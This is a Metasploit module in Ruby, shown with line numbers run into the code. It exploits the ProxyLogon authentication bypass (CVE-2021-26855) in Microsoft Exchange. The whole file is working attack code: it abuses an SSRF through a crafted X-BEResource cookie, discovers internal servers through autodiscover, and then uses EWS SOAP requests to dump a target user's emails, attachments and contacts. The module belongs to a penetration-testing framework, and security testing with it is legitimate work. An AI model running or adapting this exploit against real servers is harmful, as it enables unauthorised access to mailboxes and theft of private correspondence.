Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/gather/exchange_proxylogon_collector.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45# begin auxiliary class6class MetasploitModule < Msf::Auxiliary7include Msf::Exploit::Remote::HttpClient89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Microsoft Exchange ProxyLogon Collector',14'Description' => %q{15This module exploit a vulnerability on Microsoft Exchange Server that16allows an attacker bypassing the authentication and impersonating as the17admin (CVE-2021-26855).1819By taking advantage of this vulnerability, it is possible to dump all20mailboxes (emails, attachments, contacts, ...).2122This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012,23Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009,24Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).2526All components are vulnerable by default.27},28'Author' => [29'Orange Tsai', # Discovery (Officially acknowledged by MSRC)30'GreyOrder', # PoC (https://github.com/GreyOrder)31'mekhalleh (RAMELLA Sébastien)' # Module author independent researcher (work at Zeop Entreprise)32],33'References' => [34['CVE', '2021-26855'],35['LOGO', 'https://proxylogon.com/images/logo.jpg'],36['URL', 'https://proxylogon.com/'],37['URL', 'https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/'],38['URL', 'https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/distinguishedfolderid'],39['URL', 'https://github.com/3gstudent/Homework-of-Python/blob/master/ewsManage.py']40],41'DisclosureDate' => '2021-03-02',42'License' => MSF_LICENSE,43'DefaultOptions' => {44'RPORT' => 443,45'SSL' => true46},47'Actions' => [48[49'Dump (Contacts)', {50'Description' => 'Dump user contacts from exchange server',51'id_attribute' => 'contacts'52}53],54[55'Dump (Emails)', {56'Description' => 'Dump user emails from exchange server'57}58]59],60'DefaultAction' => 'Dump (Emails)',61'Notes' => {62'AKA' => ['ProxyLogon'],63'Stability' => [CRASH_SAFE],64'Reliability' => [],65'SideEffects' => [IOC_IN_LOGS]66}67)68)6970register_options([71OptBool.new('ATTACHMENTS', [true, 'Dump documents attached to an email', true]),72OptString.new('EMAIL', [true, 'The email account what you want dump']),73OptString.new('FOLDER', [true, 'The email folder what you want dump', 'inbox']),74OptEnum.new('METHOD', [true, 'HTTP Method to use for the check (only).', 'POST', ['GET', 'POST']]),75OptString.new('TARGET', [false, 'Force the name of the internal Exchange server targeted'])76])7778register_advanced_options([79OptInt.new('MaxEntries', [false, 'Override the maximum number of object to dump', 2147483647])80])81end8283XMLNS = { 't' => 'http://schemas.microsoft.com/exchange/services/2006/types' }.freeze8485def dump_contacts(server_name)86ssrf = "#{server_name}/EWS/Exchange.asmx?a=~#{random_ssrf_id}"8788response = send_xml('POST', ssrf, soap_countitems(action['id_attribute']))89if response.body =~ /Success/90print_good("Successfully connected to: #{action['id_attribute']}")91xml = Nokogiri::XML.parse(response.body)9293folder_id = xml.at_xpath('//t:ContactsFolder/t:FolderId', XMLNS)&.values&.at(0)94print_status("Selected folder: #{action['id_attribute']} (#{folder_id})")9596total_count = xml.at_xpath('//t:ContactsFolder/t:TotalCount', XMLNS)&.content97print_status("Number of contact found: #{total_count}")9899if total_count.to_i > datastore['MaxEntries']100print_warning("Number of contact recalculated due to max entries: #{datastore['MaxEntries']}")101total_count = datastore['MaxEntries'].to_s102end103104response = send_xml('POST', ssrf, soap_listitems(action['id_attribute'], total_count))105xml = Nokogiri::XML.parse(response.body)106107print_status(message("Processing dump of #{total_count} items"))108data = xml.xpath('//t:Items/t:Contact', XMLNS)109if data.empty?110print_status('The user has no contacts')111else112write_loot("#{datastore['EMAIL']}_#{action['id_attribute']}", data.to_s)113end114end115end116117def dump_emails(server_name)118ssrf = "#{server_name}/EWS/Exchange.asmx?a=~#{random_ssrf_id}"119120response = send_xml('POST', ssrf, soap_countitems(datastore['FOLDER']))121if response.body =~ /Success/122print_good("Successfully connected to: #{datastore['FOLDER']}")123xml = Nokogiri::XML.parse(response.body)124125folder_id = xml.at_xpath('//t:Folder/t:FolderId', XMLNS)&.values&.at(0)126print_status("Selected folder: #{datastore['FOLDER']} (#{folder_id})")127128total_count = xml.at_xpath('//t:Folder/t:TotalCount', XMLNS)&.content129print_status("Number of email found: #{total_count}")130131if total_count.to_i > datastore['MaxEntries']132print_warning("Number of email recalculated due to max entries: #{datastore['MaxEntries']}")133total_count = datastore['MaxEntries'].to_s134end135136print_status(message("Processing dump of #{total_count} items"))137download_items(total_count, ssrf)138end139end140141def download_attachments(item_id, ssrf)142response = send_xml('POST', ssrf, soap_listattachments(item_id))143xml = Nokogiri::XML.parse(response.body)144145xml.xpath('//t:Message/t:Attachments/t:FileAttachment', XMLNS).each do |item|146item_id = item.at_xpath('./t:AttachmentId', XMLNS)&.values&.at(0)147148response = send_xml('POST', ssrf, soap_downattachment(item_id))149data = Nokogiri::XML.parse(response.body)150151filename = data.at_xpath('//t:FileAttachment/t:Name', XMLNS)&.content152ctype = data.at_xpath('//t:FileAttachment/t:ContentType', XMLNS)&.content153content = data.at_xpath('//t:FileAttachment/t:Content', XMLNS)&.content154155print_status(" -> attachment: #{item_id} (#{filename})")156write_loot("#{datastore['EMAIL']}_#{datastore['FOLDER']}", Rex::Text.decode_base64(content), filename, ctype)157end158end159160def download_items(total_count, ssrf)161response = send_xml('POST', ssrf, soap_listitems(datastore['FOLDER'], total_count))162xml = Nokogiri::XML.parse(response.body)163164xml.xpath('//t:Items/t:Message', XMLNS).each do |item|165item_info = item.at_xpath('./t:ItemId', XMLNS)&.values166next if item_info.nil?167168print_status("Download item: #{item_info[1]}")169170response = send_xml('POST', ssrf, soap_downitem(item_info[0], item_info[1]))171data = Nokogiri::XML.parse(response.body)172173email = data.at_xpath('//t:Message/t:MimeContent', XMLNS)&.content174write_loot("#{datastore['EMAIL']}_#{datastore['FOLDER']}", Rex::Text.decode_base64(email))175176attachments = item.at_xpath('./t:HasAttachments', XMLNS)&.content177if datastore['ATTACHMENTS'] && attachments == 'true'178download_attachments(item_info[0], ssrf)179end180print_status181end182end183184def message(msg)185"#{@proto}://#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}"186end187188def random_ssrf_id189# https://en.wikipedia.org/wiki/2,147,483,647 (lol)190# max. 2147483647191rand(1941962752..2147483647)192end193194def request_autodiscover(server_name)195xmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' }196197response = send_xml('POST', "#{server_name}/autodiscover/autodiscover.xml?a=~#{random_ssrf_id}", soap_autodiscover)198199case response.body200when %r{<ErrorCode>500</ErrorCode>}201fail_with(Failure::NotFound, 'No Autodiscover information was found')202when %r{<Action>redirectAddr</Action>}203fail_with(Failure::NotFound, 'No email address was found')204end205206xml = Nokogiri::XML.parse(response.body)207208legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content209fail_with(Failure::NotFound, 'No \'LegacyDN\' was found') if legacy_dn.blank?210211server = ''212owa_urls = []213xml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item|214type = item.at_xpath('./xmlns:Type', xmlns)&.content215if type == 'EXCH'216server = item.at_xpath('./xmlns:Server', xmlns)&.content217end218219next unless type == 'WEB'220221item.xpath('./xmlns:Internal/xmlns:OWAUrl', xmlns).each do |owa_url|222owa_urls << owa_url.content223end224end225fail_with(Failure::NotFound, 'No \'Server ID\' was found') if server.nil? || server.empty?226fail_with(Failure::NotFound, 'No \'OWAUrl\' was found') if owa_urls.empty?227228return([server, legacy_dn, owa_urls])229end230231def send_http(method, ssrf, data: '', ctype: 'application/x-www-form-urlencoded')232request = {233'method' => method,234'uri' => @random_uri,235'cookie' => "X-BEResource=#{ssrf};",236'ctype' => ctype237}238request = request.merge({ 'data' => data }) unless data.empty?239240received = send_request_cgi(request)241fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received242243received244end245246def send_xml(method, ssrf, data, ctype: 'text/xml; charset=utf-8')247send_http(method, ssrf, data: data, ctype: ctype)248end249250def soap_autodiscover251<<~SOAP252<?xml version="1.0" encoding="utf-8"?>253<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">254<Request>255<EMailAddress>#{datastore['EMAIL']}</EMailAddress>256<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>257</Request>258</Autodiscover>259SOAP260end261262def soap_countitems(folder_id)263<<~SOAP264<?xml version="1.0" encoding="utf-8"?>265<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"266xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"267xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"268xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">269<soap:Body>270<m:GetFolder>271<m:FolderShape>272<t:BaseShape>Default</t:BaseShape>273</m:FolderShape>274<m:FolderIds>275<t:DistinguishedFolderId Id="#{folder_id}">276<t:Mailbox>277<t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress>278</t:Mailbox>279</t:DistinguishedFolderId>280</m:FolderIds>281</m:GetFolder>282</soap:Body>283</soap:Envelope>284SOAP285end286287def soap_listattachments(item_id)288<<~SOAP289<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"290xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"291xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"292xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">293<soap:Body>294<m:GetItem>295<m:ItemShape>296<t:BaseShape>IdOnly</t:BaseShape>297<t:AdditionalProperties>298<t:FieldURI FieldURI="item:Attachments" />299</t:AdditionalProperties>300</m:ItemShape>301<m:ItemIds>302<t:ItemId Id="#{item_id}" />303</m:ItemIds>304</m:GetItem>305</soap:Body>306</soap:Envelope>307SOAP308end309310def soap_listitems(folder_id, max_entries)311<<~SOAP312<?xml version='1.0' encoding='utf-8'?>313<soap:Envelope314xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'315xmlns:t='http://schemas.microsoft.com/exchange/services/2006/types'316xmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages'317xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'>318<soap:Body>319<m:FindItem Traversal='Shallow'>320<m:ItemShape>321<t:BaseShape>AllProperties</t:BaseShape>322</m:ItemShape>323<m:IndexedPageItemView MaxEntriesReturned="#{max_entries}" Offset="0" BasePoint="Beginning" />324<m:ParentFolderIds>325<t:DistinguishedFolderId Id='#{folder_id}'>326<t:Mailbox>327<t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress>328</t:Mailbox>329</t:DistinguishedFolderId>330</m:ParentFolderIds>331</m:FindItem>332</soap:Body>333</soap:Envelope>334SOAP335end336337def soap_downattachment(item_id)338<<~SOAP339<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"340xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"341xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"342xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">343<soap:Body>344<m:GetAttachment>345<m:AttachmentIds>346<t:AttachmentId Id="#{item_id}" />347</m:AttachmentIds>348</m:GetAttachment>349</soap:Body>350</soap:Envelope>351SOAP352end353354def soap_downitem(id, change_key)355<<~SOAP356<?xml version="1.0" encoding="utf-8"?>357<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"358xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"359xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"360xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">361<soap:Body>362<m:GetItem>363<m:ItemShape>364<t:BaseShape>IdOnly</t:BaseShape>365<t:IncludeMimeContent>true</t:IncludeMimeContent>366</m:ItemShape>367<m:ItemIds>368<t:ItemId Id="#{id}" ChangeKey="#{change_key}" />369</m:ItemIds>370</m:GetItem>371</soap:Body>372</soap:Envelope>373SOAP374end375376def write_loot(type, data, name = '', ctype = 'text/plain')377loot_path = store_loot(type, ctype, datastore['RHOSTS'], data, name, '')378print_good("File saved to #{loot_path}")379end380381def run382@proto = (ssl ? 'https' : 'http')383@random_uri = normalize_uri('ecp', "#{Rex::Text.rand_text_alpha(1..3)}.js")384385print_status(message('Attempt to exploit for CVE-2021-26855'))386387# request for internal server name.388response = send_http(datastore['METHOD'], "localhost~#{random_ssrf_id}")389if response.code != 500 || !response.headers.to_s.include?('X-FEServer')390fail_with(Failure::NotFound, 'No \'X-FEServer\' was found')391end392server_name = response.headers['X-FEServer']393print_status("Internal server name (#{server_name})")394395# get information by autodiscover request.396print_status(message('Sending autodiscover request'))397server_id, legacy_dn, owa_urls = request_autodiscover(server_name)398399print_status("Server: #{server_id}")400print_status("LegacyDN: #{legacy_dn}")401print_status("Internal target(s): #{owa_urls.join(', ')}")402403# selecting target404print_status(message('Selecting the first internal server to respond'))405if datastore['TARGET'].nil? || datastore['TARGET'].empty?406target = ''407owa_urls.each do |url|408host = url.split('://')[1].split('.')[0].downcase409next unless host != server_name.downcase410411response = send_http('GET', "#{host}/EWS/Exchange.asmx?a=~#{random_ssrf_id}")412next unless response.code == 200413414target = host415print_good("Targeting internal: #{url}")416417break418end419fail_with(Failure::NotFound, 'No internal target was found') if target.empty?420else421target = datastore['TARGET']422print_good("Targeting internal forced to: #{target}")423end424425# run action426case action.name427when /Dump \(Contacts\)/428print_status(message("Attempt to dump contacts for <#{datastore['EMAIL']}>"))429dump_contacts(target)430when /Dump \(Emails\)/431print_status(message("Attempt to dump emails for <#{datastore['EMAIL']}>"))432dump_emails(target)433end434end435436end437438439